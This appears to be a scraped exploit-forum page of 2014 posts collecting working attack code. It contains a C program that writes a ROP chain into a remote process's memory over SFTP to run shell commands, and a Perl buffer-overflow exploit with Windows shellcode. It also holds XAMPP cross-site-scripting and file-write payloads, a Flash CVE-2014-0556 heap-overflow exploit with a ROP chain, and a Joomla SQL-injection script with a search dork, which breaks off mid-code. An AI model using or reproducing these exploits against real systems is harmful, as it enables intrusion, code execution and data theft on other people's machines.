size_t slurp_file(char *path, char **out) {
  size_t allocated = 4000, used = 0;
  *out = calloc(1, allocated+1);
  FILE *f = fopen(path, "r");
  if (f == NULL) perror("opening local file failed"), exit(1);
  while (1) {
    ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
    if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n",

path, strerror(errno)), exit(1); if (nbytes == 0) { (*out)[used] = '\0'; if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1); return used; } used += nbytes; if (used == allocated) { allocated *= 4; *out = realloc(*out, allocated); } } }

int main(int argc, char **argv) {
  if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell

commands here'\n"), exit(1); char *target_host = argv[1]; char *target_user = argv[2]; char *shell_commands = argv[3];

  ssh_session my_ssh_session;
  int rc;
  char *password;
  // Open session and set options
  my_ssh_session = ssh_new();
  if (my_ssh_session == NULL) exit(-1);
  ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
  ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
  // Connect to server
  rc = ssh_connect(my_ssh_session);
  if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n",

ssh_get_error(my_ssh_session)), exit(-1);

  // Authenticate ourselves
  password = getpass("Password: ");
  rc = ssh_userauth_password(my_ssh_session, NULL, password);
  if (rc != SSH_AUTH_SUCCESS)
    fprintf(stderr, "Error authenticating with password: %s\n",

ssh_get_error(my_ssh_session)), exit(-1);

  sftp = sftp_new(my_ssh_session);
  if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session:

%s\n", ssh_get_error(my_ssh_session)), exit(-1);

  rc = sftp_init(sftp);
  if (rc != SSH_OK) {
    fprintf(stderr, "Error initializing SFTP session: %s.\n",

ssh_get_error(sftp)); sftp_free(sftp); return rc; }

  char *mappings;
  grab_file("/proc/self/maps", &mappings);
  //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);

  printf("got /proc/self/maps. looking for libc...\n");
  // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466

/lib/x86_64-linux-gnu/libc-2.13.so long long start_addr, end_addr, offset; char *libc_path = NULL; long long stack_start_addr = 0, stack_end_addr; for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) { if (strstr(p, " r-xp ") && strstr(p, "/libc-")) { if (libc_path) fprintf(stderr, "warning: two times libc?\n"); printf("mapping line: %s\n", p); if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1); libc_path = strdup(strchr(p, '/')); if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1); } if (strstr(p, "[stack]")) { if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1); printf("mapping line: %s\n", p); if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1); } } if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1); if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1); printf("remote libc is at %s\n", libc_path); printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);

  char *libc;
  size_t libc_size = grab_file(libc_path, &libc);
  dump_file("libc.so", libc, libc_size);
  printf("downloaded libc, size is %zu bytes\n", libc_size);

  system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
  char *system_offset_str;
  slurp_file("system.addr", &system_offset_str);
  long long system_offset;
  if (sscanf(system_offset_str, "%Lx", &system_offset) != 1)

perror("scanf failed"), exit(1); long long remote_system_addr = start_addr+system_offset-offset; printf("remote system() function is at %Lx\n", remote_system_addr);

  printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
  char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3",

2); if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1); long long gadget_address = start_addr + (gadget-(libc+offset)); long long ret_address = gadget_address+1; printf("found gadget at %Lx\n", gadget_address);

  printf("remote stack is at %Lx-%Lx\n", stack_start_addr,

stack_end_addr); printf("doing it the quick-and-dirty way (that means: pray that the target" "program was compiled with gcc, giving us 16-byte stack alignment)...\n"); long long stack_len = stack_end_addr - stack_start_addr; /if (stack_len > 32000) { stack_len = 32000; stack_start_addr = stack_end_addr - stack_len; }/ char *new_stack = malloc(stack_len);

  // first fill it with our ret slide
  for (long long *s = (void*)new_stack; s<(long

long*)(new_stack+stack_len); s++) { *s = ret_address; }

  // put some shell commands in the head
  strcpy(new_stack, shell_commands);

  // put the mini-ROP-chain at the end
  // [address of pop rdi] [stack head] [address of system]
  long long *se = (void*)(new_stack + stack_len);
  se[-3] = gadget_address;
  se[-2] = stack_start_addr;
  se[-1] = remote_system_addr;

  printf("Prepared the new stack. Now comes the moment of truth: push

the new stack over and pray.\n"); sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0); if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);

  // first send over the string
  rc = sftp_seek64(mem, stack_start_addr);
  if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n",

ssh_get_error(sftp)), exit(1); ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1); if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");

  // now send over the rest right-to-left
  for (long long off = stack_len-32000; off >= 0; off -= 32000) {
    rc = sftp_seek64(mem, stack_start_addr+off);
    if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)),

exit(1); mem_written = sftp_write(mem, new_stack+off, 32000); if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0); }

  return 0;
}

Click to expand...

Asx to Mp3 2.7.5 - Stack Overflow Exploit
ID: 67686ba3b4103b69df379d37
Thread ID: 25426
Created: 2014-10-08T03:42:58+0000
Last Post: 2014-10-08T03:42:58+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

###########################################################################################
# Exploit Title: ASX to MP3 Converter 2.7.5 stack buffer overflow
# Date: 6 Oct 2014
# Exploit Author: Amir Reza Tavakolian
# Vendor Homepage: http://binarylife.blog.ir/
# Software Link: http://download.cnet.com/ASX-to-MP3-Converter/3000-2168_4-10385919.html
# Version: 2.7.5
# Tested on: windows xp sp 3
#
#
# Special thanks to Mr Michael Czumak (T_v3rn1x) for his tutorial in securitysift.com.
# Thanks Mike. :)
##########################################################################################
  
  
  
  
  
#!/usr/bin/perl
  
my $junk = "\x41" x 35056;
my $eip = pack ('V', 0x73e848a7);
  
  
  
my $nop = "\x90" x 4;
  
my $shellcode = "\x90" x 25;
$shellcode = $shellcode . "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" .
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" .
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" .
            "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" .
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" .
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" .
            "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" .
           "\x49\x0b\x31\xc0\x51\x50\xff\xd7";
  
my $junk1 = "c" x 24806;
  
  
  
  
my $total = $junk.$eip.$nop.$shellcode.$junk1;
my $file = "poc1.m3u";
  
  
open (FILE, ">$file");
print FILE $total;
close (FILE);
print "Done.../";
 
# 0D860C1C89CF4634   1337day.com [2014-10-08]   5CAB68593D3DCF9E #

Что такое asx

XAMPP 1.8.x Multiple Vulnerabilities
ID: 67686ba3b4103b69df379d38
Thread ID: 25425
Created: 2014-10-07T12:36:31+0000
Last Post: 2014-10-07T12:36:31+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

#Exploit Name : XAMPP 1.8.x Multiple Vulnerabilities
#Author : DevilScreaM
#Date : 6 October 2014
#Vendor : http://bitnami.com
#Version : 1.8.x or Higher Version
#Operating System : Windows / Linux
#Vulnerability : Cross Site Scripting / Write File
#Type : #WebApps #Application
#Tested : Windows 7 64 Bit
#Thanks : Newbie-Security, Indonesian Hacker Team, Indonesia Coder Team, Indonesia Security Team

Cross Site Scripting at perlinfo.pl #1

Perl Version : 5.16.3

Script For Exploit

For Localhost

Code:Copy to clipboard

<?php
$xss  = "<script>alert('Tested by DevilScreaM')</script>:";
$f =@fopen ('C:\xampp\security\xampp.users','w');
fwrite($f , $xss);

$htcs  = 'AuthName "Username = your Script XSS"
AuthType Basic
AuthUserFile "C:\xampp\security\xampp.users"
require valid-user';
$f1 =@fopen ('C:\xampp\htdocs\xampp\.htaccess','w');
fwrite($f1 , $htcs);
?>

<script>
window.location = "http://127.0.0.1/xampp/perlinfo.pl"
</script>


==================================================================

For Site

<?php
$xss  = "<script>alert('Tested by DevilScreaM')</script>:";
$f =@fopen ('my.users','w');
fwrite($f , $xss);

$htcs  = 'AuthName "Username = your Script XSS"
AuthType Basic
AuthUserFile "my.users"
require valid-user';
$f1 =@fopen ('.htaccess','w');
fwrite($f1 , $htcs);

$pl = '#!"perl\bin\perl.exe"

use HTML::Perlinfo;
use CGI qw(header);

$q = new CGI;
print $q->header;

$p = new HTML::Perlinfo;
$p->info_general;
$p->info_variables;
$p->info_modules;
$p->info_license;';
$f2 =@fopen ('perlinfo.pl','w');
fwrite(f2 , $pl);
?>

<script>
window.location = "http://site.com/perlinfo.pl"
</script>

==================================================================

Save Script C:\xampp\htdocs\xss.php


Open Browser and Running http://127.0.0.1/xss.php
You Will Redirect to http://127.0.0.1/xampp/perlinfo.pl

Auth Login
Username : <script>alert('Tested by DevilScreaM')</script>
Password :


===================================================================

Cross Site Scripting at perlinfo.pl Query String #2

Exploit :

http://127.0.0.1/xampp/perlinfo.pl?[XSS]
http://127.0.0.1/xampp/perlinfo.pl?[XSS]=[XSS]

Example

http://127.0.0.1/xampp/perlinfo.pl?=

====================================================================

Cross Site Scripting at http://127.0.0.1/xampp/perlinfo.pl #3


Exploit :

1. Go To Directory C:\xampp\apache\conf\
2. Edit File httpd.conf
3. Go To Line 209

Edit ServerAdmin postmaster@localhost to

ServerAdmin [YOUR XSS]

Example :

ServerAdmin <h1>DevilScreaM</h1>


4. Save File

5. See your XSS at

http://127.0.0.1/xampp/perlinfo.pl


====================================================================



Cross Site Scripting at http://127.0.0.1/Webalizer/


Script for Exploit :


<?php
$xss  = "<script>alert('Tested by DevilScreaM')</script>:";
$f =@fopen ('C:\xampp\security\xampp.users','w');
fwrite($f , $xss);

?>

<script>
window.location = "http://127.0.0.1/webalizer/usage_[YEARS][MONTH].html"
</script>

Information :
usage_[YEARS][MONTH].html => usage_201410.html

====================================================================

Save Script Webalizer.php


Command

@echo off
C:\xampp\webalizer\webalizer.exe -c C:\xampp\webalizer\webalizer.conf

PHP

<?php
 
$webalizer = "C:\xampp\webalizer\webalizer.bat";
        
system($webalizer);

?>

=====================================================================

Save Script webalizer.cmd or webalizer_run.php


Run Webalizer.cmd and Waiting Process

Result

http://127.0.0.1/webalizer/usage_[years][month].html

Example

http://127.0.0.1/webalizer/usage_201410.html


==================================================================


Cross Site Scripting at cds.php

Exploit :

http://127.0.0.1/xampp/cds.php?interpret=[XSS]

Example :

http://127.0.0.1/xampp/cds.php?interpret=<script>alert('Tested by>

DevilScreaM')

====================================================================



Write File Vulnerability

Script to Exploit :


<form action='http://127.0.0.1/xampp/guestbook-en.pl' method='get'>
<table border='0' cellpadding='0' cellspacing='0'>
<tr><td>TEXT:</td>
<td><input type='text' size='30' value='Tested by DevilScreaM'

name='f_name'>

Result

==================================================================

Save Script with extension .html

Open Script and Click Write or Change Text

Result

http://127.0.0.1/xampp/guestbook.dat

Click to expand...

Adobe Flash 14.0.0.145 copyPixelsToByteArray()
ID: 67686ba3b4103b69df379d39
Thread ID: 25419
Created: 2014-10-01T19:37:43+0000
Last Post: 2014-10-01T19:37:43+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Adobe Flash version 14.0.0.145 copyPixelsToByteArray() heap overflow proof of concept exploit.

Click to expand...

Code:Copy to clipboard

<html>
<head>
  <title>CVE-2014-0556</title>  
</head>
<body>
<object id="swf" width="100%" height="100%" data="NewProject.swf" type="application/x-shockwave-flash"></object>

<button onclick="swf.exploit()">STOP</button>
</body>
</html>
*/
/*
(1728.eb0): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d63048 esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d63048 cc              int     3
1:020> dd esp l4
08d63048  cccccccc cccccccc cccccccc cccccccc
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d63049 esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d63049 cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304a esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304a cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304b esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304b cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304c esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304c cc              int     3
*/
package 
{
  import flash.events.*
  import flash.media.*
  import flash.display.*
  import flash.geom.*
  import flash.utils.*
  import flash.text.*
  import flash.external.ExternalInterface
 
  public class Main extends Sprite {
    private var i0:uint
    private var i1:uint
    private var i2:uint
    private var i3:uint
    private var str:String = new String("CVE: CVE-2014-0556\nAuthor: hdarwin (@hdarwin89)\nTested on: Win7 SP1 x86 & Flash 14.0.0.145")
    private var ba:Vector.<ByteArray> = new Vector.<ByteArray>(3200)
    private var ob:Vector.<Object> = new Vector.<Object>(6400)
    private var bitmap:BitmapData = new BitmapData(0x100, 4, true, 0xffffffff)
    private var rect:Rectangle = new Rectangle(0, 0, 0x100, 4)
    private var snd:Sound
    private var vector:uint
    private var vtable:uint
    private var flash:uint
    public function Main():void {
 
      for (i0 = 0; i0 < 3200; i0++) {
        ba[i0] = new ByteArray()
        ba[i0].length = 0x2000
        ba[i0].position = 0xfffff000
      }
 
      for (i0 = 0; i0 < 3200; i0++) {
        if (i0 % 2 == 0) ba[i0] = null
        ob[i0 * 2] = new Vector.<uint>(1008)
        ob[i0 * 2 + 1] = new Vector.<uint>(1008)
      }
       
      bitmap.copyPixelsToByteArray(rect, ba[1601])
 
      for (i0 = 0;; i0++)
        if (ob[i0].length != 1008) break
       
      ob[i0][1024 * 3 - 2] = 0xffffffff
 
      for (i1 = 0;; i1++) {
        if (i0 == i1) continue
        if (ob[i1].length != 1008) break
      }
       
      ob[i1][0xFFFFFFFE - 1024 * 3] = 0xffffffff
      ob[i1][0xFFFFFFFE - 1024 * 3 + 1] = ob[i0][1024 * 3 - 1]
      ob[i0].fixed = true
       
      for (i2 = 1000;; i2++) {
        if (ob[i1][0xFFFFFFFF - i2 + 0] == 0 && ob[i1][0xFFFFFFFF - i2 + 10] == 1 && ob[i1][0xFFFFFFFF - i2 + 5] == ob[i1][0xFFFFFFFF - i2 + 15]) {
            vector = ob[i1][0xFFFFFFFF - i2 + 11]
            break
        } else if (ob[i1][i2 + 0] == 0 && ob[i1][i2 + 10] == 1 && ob[i1][i2 + 5] == ob[i1][i2 + 15]) {
            vector = ob[i1][i2 + 11]
            break
        }
      }
       
      snd = new Sound()
       
      for (i2 = 0; i2 < 6400; i2++) {
        if (i2 == i0 || i2 == i1) continue
        ob[i2] = null
        ob[i2] = new Vector.<Object>(1014)
        ob[i2][0] = snd
        ob[i2][1] = snd
      }
       
      for (i2 = 0;; i2++) {
        if (ob[i0][i2 + 0] == 1014 &&
          ob[i0][i2 + 1] == ob[i0][i2 + 2] &&
          ob[i0][i2 + 3] == 1
        ) {
          vtable = read(ob[i0][i2 + 1] - 1)
          flash = vtable - 0x00c3c1e8 // Flash32_14_0_0_145.ocx
          write(ob[i0][i2 + 1] - 1, vector + 0xf54)
          for (i3 = 0; i3 < 1008; i3++) {
            ob[i0][i3] = 0x41414100 | i3
          }
          ob[i0][0] = flash + 0x004d6c50 // POP EBP # RETN
          ob[i0][1] = flash + 0x004d6c50 // skip 4 bytes
          ob[i0][2] = flash + 0x00a21b36 // POP EBX # RETN
          ob[i0][3] = 0x00000201 // 0x00000201
          ob[i0][4] = flash + 0x008ec368 // POP EDX # RETN
          ob[i0][5] = 0x00000040 // 0x00000040
          ob[i0][6] = flash + 0x00691119 // POP ECX # RETN
          ob[i0][7] = vector + 2000 // Writable location
          ob[i0][8] = flash + 0x005986d2 // POP EDI # RETN
          ob[i0][9] = flash + 0x00061984 // RETN (ROP NOP)
          ob[i0][10] = flash + 0x001bf342 // POP ESI # RETN
          ob[i0][11] = flash + 0x0000d83f // JMP [EAX]
          ob[i0][12] = flash + 0x000222b5 // POP EAX # RETN
          ob[i0][13] = flash + 0x00b8a3a8 // ptr to VirtualProtect()
          ob[i0][14] = flash + 0x00785916 // PUSHAD # RETN
          ob[i0][15] = flash + 0x0017b966 // ptr to 'jmp esp'
          ob[i0][16] = 0xcccccccc // shellcode
          ob[i0][17] = 0xcccccccc // shellcode
          ob[i0][18] = 0xcccccccc // shellcode
          ob[i0][19] = 0xcccccccc // shellcode
          ob[i0][979] = flash + 0x0029913A // POP EAX # RETN
          ob[i0][980] = 0x00000f58
          ob[i0][981] = flash + 0x00195558 // PUSH ESP # POP ESI # RETN
          ob[i0][982] = flash + 0x0036B3B2 // SUB ESI,EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN
          ob[i0][985] = flash + 0x0095024c // XCHG EAX,ESP # RETN
          ob[i0][1007] = flash + 0x0095024c // XCHG EAX,ESP # RETN
          break
        }
      }
       
      ob[i1][0xFFFFFFFE - 1024 * 3] = 4096
      ob[i0][1024 * 3 - 2] = 0
      str += flash.toString(16)
      var tf:TextField = new TextField(); tf.width = 800; tf.height = 800; tf.text = str; addChild(tf)
       
      if (ExternalInterface.available) ExternalInterface.addCallback("exploit", exploit)
    }
         
    private function write(addr:uint, data:uint):void {
      ob[i0][(addr - vector) / 4 - 2] = data
    }
 
    private function read(addr:uint):uint {
      return ob[i0][(addr - vector) / 4 - 2]
    }
     
    private function zeroPad(number:String, width:int):String {
      if (number.length < width)
        return "0" + zeroPad(number, width-1)
      return number
    }
     
    public function exploit():void {
      snd.toString()
    }
  }
}
 
# 77348D31F5FBFA11   1337day.com [2014-10-01]   41952EE50922C932 #
Joomla Spider Contacts
ID: 67686ba3b4103b69df379d3a
Thread ID: 25395
Created: 2014-09-12T06:31:26+0000
Last Post: 2014-09-12T06:31:26+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python
#
#
# Exploit Title : Joomla Spider Contacts <= 1.3.6 SQL Injection
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://web-dorado.com/
#
# Software Link : http://web-dorado.com/?option=com_wdsubscriptions&view=dwnldfree&format=row&id=60 (fixed)
#   Mirror Link : https://mega.co.nz/#!mJwlUahJ!fx7d1ZQszaD3-k66PjWQEBXQafJnEeRDEleN8jqbVOE (no fixed)
#
# Dork Google: inurl:option=com_spidercontacts
#
# Date : 2014-09-07
#
# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
#
#
#
######################
#
# PoC Exploit:
#
# http://localhost/joomla/index.php?option=com_spidercontacts&contact_id=[SQLi]&view=showcontact&lang=ca
#
#
# "contacts_id" variables is not sanitized.
# 
#
# Vulnerability Disclosure Timeline:
#
# 2014-09-07:  Discovered vulnerability
# 2014-09-09:  Vendor Notification
# 2014-09-10:  Vendor Response/Feedback 
# 2014-09-10:  Vendor Fix/Patch
# 2014-09-10:  Public Disclosure
 
import codecs
import httplib
import re
import sys
import socket
import optparse
 
banner = """
 
   $$$$$\                                   $$\                  $$$$$$\            $$\       $$\                      
   \__$$ |                                  $$ |                $$  __$$\           \__|      $$ |                     
      $$ | $$$$$$\   $$$$$$\  $$$$$$\$$$$\  $$ | $$$$$$\        $$ /  \__| $$$$$$\  $$\  $$$$$$$ | $$$$$$\   $$$$$$\   
      $$ |$$  __$$\ $$  __$$\ $$  _$$  _$$\ $$ | \____$$\       \$$$$$$\  $$  __$$\ $$ |$$  __$$ |$$  __$$\ $$  __$$\  
$$\   $$ |$$ /  $$ |$$ /  $$ |$$ / $$ / $$ |$$ | $$$$$$$ |       \____$$\ $$ /  $$ |$$ |$$ /  $$ |$$$$$$$$ |$$ |  \__| 
$$ |  $$ |$$ |  $$ |$$ |  $$ |$$ | $$ | $$ |$$ |$$  __$$ |      $$\   $$ |$$ |  $$ |$$ |$$ |  $$ |$$   ____|$$ |       
\$$$$$$  |\$$$$$$  |\$$$$$$  |$$ | $$ | $$ |$$ |\$$$$$$$ |      \$$$$$$  |$$$$$$$  |$$ |\$$$$$$$ |\$$$$$$$\ $$ |       
 \______/  \______/  \______/ \__| \__| \__|\__| \_______|       \______/ $$  ____/ \__| \_______| \_______|\__|       
                                                                          $$ |                                         
                                                                          $$ |                                         
                                                                          \__|                                         
 $$$$$$\                       $$\                           $$\                       $$\       $$$$$$\      $$$$$$\  
$$  __$$\                      $$ |                          $$ |                    $$$$ |     $$ ___$$\    $$  __$$\ 
$$ /  \__| $$$$$$\  $$$$$$$\ $$$$$$\    $$$$$$\   $$$$$$$\ $$$$$$\    $$$$$$$\       \_$$ |     \_/   $$ |   $$ /  \__|
$$ |      $$  __$$\ $$  __$$\\_$$  _|   \____$$\ $$  _____|\_$$  _|  $$  _____|        $$ |       $$$$$ /    $$$$$$$\  
$$ |      $$ /  $$ |$$ |  $$ | $$ |     $$$$$$$ |$$ /        $$ |    \$$$$$$\          $$ |       \___$$\    $$  __$$\ 
$$ |  $$\ $$ |  $$ |$$ |  $$ | $$ |$$\ $$  __$$ |$$ |        $$ |$$\  \____$$\         $$ |     $$\   $$ |   $$ /  $$ |
\$$$$$$  |\$$$$$$  |$$ |  $$ | \$$$$  |\$$$$$$$ |\$$$$$$$\   \$$$$  |$$$$$$$  |      $$$$$$\ $$\\$$$$$$  |$$\ $$$$$$  |
 \______/  \______/ \__|  \__|  \____/  \_______| \_______|   \____/ \_______/       \______|\__|\______/ \__|\______/ 
                                                                                                                        
                                                                                         j00ml4 Spid3r C0nt4cts <= 1.3.6 SQLi
 
                                                     Written by:
 
                                                   Claudio Viviani
 
                                                http://www.homelab.it
 
                                                   info@homelab.it
                                               homelabit@protonmail.ch
 
                                          https://www.facebook.com/homelabit
                                            https://twitter.com/homelabit
                                         https://plus.google.com/+HomelabIt1/
                               https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
 
"""
 
C0mm4nds = dict()
C0mm4nds['DB VERS'] = 'VERSION'
C0mm4nds['DB NAME'] = 'DATABASE'
C0mm4nds['DB USER'] = 'CURRENT_USER'
 
def def_payload(payl):
    payl = payl
    return payl
 
 
def com_com_spidercalendar():
    com_spidercalendar = "index.php?option=com_spidercontacts&contact_id="+payload+"&view=showcontact&lang=ca"
    return com_spidercalendar
 
 
ver_spidercontacts = "administrator/components/com_spidercontacts/spidercontacts.xml"
 
vuln = 0
 
def cmdMySQL(cmd):
   SqlInjList = [
   # SQLi Spider Contacts 1.3.6
'1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Contacts 1.3.5 - 1.3.4
'1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Contacts 1.3.3
'1%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Contacts 1.3
'1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Contacts 1.2 - 1.1 - 1.0
'-9900%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   ]
   return SqlInjList
 
def checkProtocol(pr):
 
    parsedHost = ""
    PORT =  m_oOptions.port
 
    if pr[0:8] == "https://":
        parsedHost = pr[8:]
 
        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
            if PORT == 0:
                PORT = 443
 
        PROTO = httplib.HTTPSConnection(parsedHost, PORT)
 
    elif pr[0:7] == "http://":
        parsedHost = pr[7:]
        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
        if PORT == 0:
            PORT = 80
 
        PROTO = httplib.HTTPConnection(parsedHost, PORT)
 
    else:
        parsedHost = pr
 
        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
        if PORT == 0:
            PORT = 80
 
        PROTO = httplib.HTTPConnection(parsedHost, PORT)
 
    return PROTO, parsedHost
 
def connection(addr, url_string):
 
    parsedHost = checkProtocol(addr)[1]
    PROTO =  checkProtocol(addr)[0]
    try:
        socket.gethostbyname(parsedHost)
 
    except socket.gaierror:
        print 'Hostname could not be resolved. Exiting'
        sys.exit()
 
    connection_req =  checkProtocol(addr)[0]
 
    try:
        connection_req.request('GET', url_string)
    except socket.error:
        print('Connection Error')
        sys.exit(1)
 
    response = connection_req.getresponse()
    reader = codecs.getreader("utf-8")(response)
 
    return {'response':response, 'reader':reader}
 
 
if __name__ == '__main__':
    m_oOpts = optparse.OptionParser("%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]")
    m_oOpts.add_option('--host', '-H', action='store', type='string',
        help='The address of the host running Spider Contacts extension(required)')
    m_oOpts.add_option('--base', '-b', action='store', type='string', default="/",
        help='base dir joomla installation, default "/")')
    m_oOpts.add_option('--port', '-p', action='store', type='int', default=0,
        help='The port on which the daemon is running (default 80)')
 
    m_oOptions, remainder = m_oOpts.parse_args()
    m_nHost = m_oOptions.host
    m_nPort = m_oOptions.port
    m_nBase = m_oOptions.base
 
    if not m_nHost:
        print(banner)       
        print m_oOpts.format_help()
        sys.exit(1)
 
    print(banner)
 
    if m_nBase != "/":
        if m_nBase[0] == "/":
                m_nBase = m_nBase[1:]
                if m_nBase[-1] == "/":
                        m_nBase = m_nBase[:-1]
        else:
                if m_nBase[-1] == "/":
                        m_nBase = m_nBase[:-1]
        m_nBase = '/'+m_nBase+'/'
 
    payload = def_payload('1%27')
    com_spidercalendar = com_com_spidercalendar()
    # Start connection to host for Joomla Spider Contacts vulnerability
    response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
    reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
    # Read connection code number
    getcode = response.status
 
    print("[+] Searching for Joomla Spider Contacts vulnerability...")
    print("[+]")
     
    if getcode != 404:
        for lines in reader:
            if not lines.find("spidercontacts_contacts.id") == -1:
                print("[!] Boolean SQL injection vulnerability FOUND!")
                print("[+]")
                print("[+] Detection version in progress....")
                print("[+]")
         
                try:
                    response = connection(m_nHost, m_nBase+ver_spidercontacts).values()[0]
                    reader = connection(m_nHost, m_nBase+ver_spidercontacts).values()[1]
                    getcode = response.status
                    if getcode != 404:
                        for line_version in reader:
                           if not line_version.find("<version>") == -1:
                               VER = re.compile('>(.*?)<').search(line_version).group(1)
                               VER_REP = VER.replace(".","")
                               if int(VER_REP) > 136 or int(VER_REP[0]) == 2:
                                   print("[X] VERSION: "+VER)
                                   print("[X] Joomla Spider Contacts => 1.3.7 are not vulnerables")
                                   sys.exit(1)
